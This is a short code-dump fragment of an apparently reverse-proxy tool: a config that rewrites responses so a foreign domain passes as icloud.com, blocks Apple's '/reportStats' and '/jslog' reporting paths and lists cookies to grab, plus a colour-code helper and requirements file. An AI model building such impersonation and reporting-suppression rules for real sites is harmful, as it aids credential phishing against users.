60 | resp_body = [
61 | # # ['', 'https', 'http']
62 | ['', '', '*.icloud-content.com">-->'],
64 | ['', 'AutoFillDomain="'+domain, 'AutoFillDomain="icloud.com'],
65 | ['', '"use strict";', ''],
66 | ]
67 |
68 | block_paths = [
69 | '/reportStats',
70 | '/reportRaw',
71 | '/jslog',
72 | ]
73 |
74 | get_cookie = [
75 | ]
76 |
--------------------------------------------------------------------------------
/helper.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 |
3 | import subprocess as p
4 | import time
5 |
6 | RESET = "\033[0m"
7 | RED = "\033[31m"
8 | GREEN = "\033[32m"
9 | LIGHTGREEN = "\033[38;5;106m"
10 | YELLOW = "\033[33m"
11 | BLUE = "\033[34m"
12 | PURPLE = "\033[35m"
13 | CYAN = "\033[36m"
14 | WHITE = "\033[37m"
15 | BGBLACK = "\033[40m"
16 | BGYELLOW = "\033[43m"
17 | BGGREEN = "\033[48;5;64m"
18 | BGORANGE = "\033[48;5;202m"
19 | BGBLUE = "\033[48;5;26m"
20 | BOLD = "\033[1m"
21 | UNDERLINE = "\033[4m"
22 | BLINK = "\033[5m"
23 | CLEAR = "\033[2J\033[H"
24 |
25 | def cwin():
26 | try:
27 | p.Popen('',shell=True)
28 | time.sleep(0.03)
29 | print(CLEAR)
30 | except Exception as e:
31 | print(e)
32 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 |
2 | httplib2==0.14.0
3 | requests==2.22.0
4 | urllib3==1.25.8
5 |
6 |
--------------------------------------------------------------------------------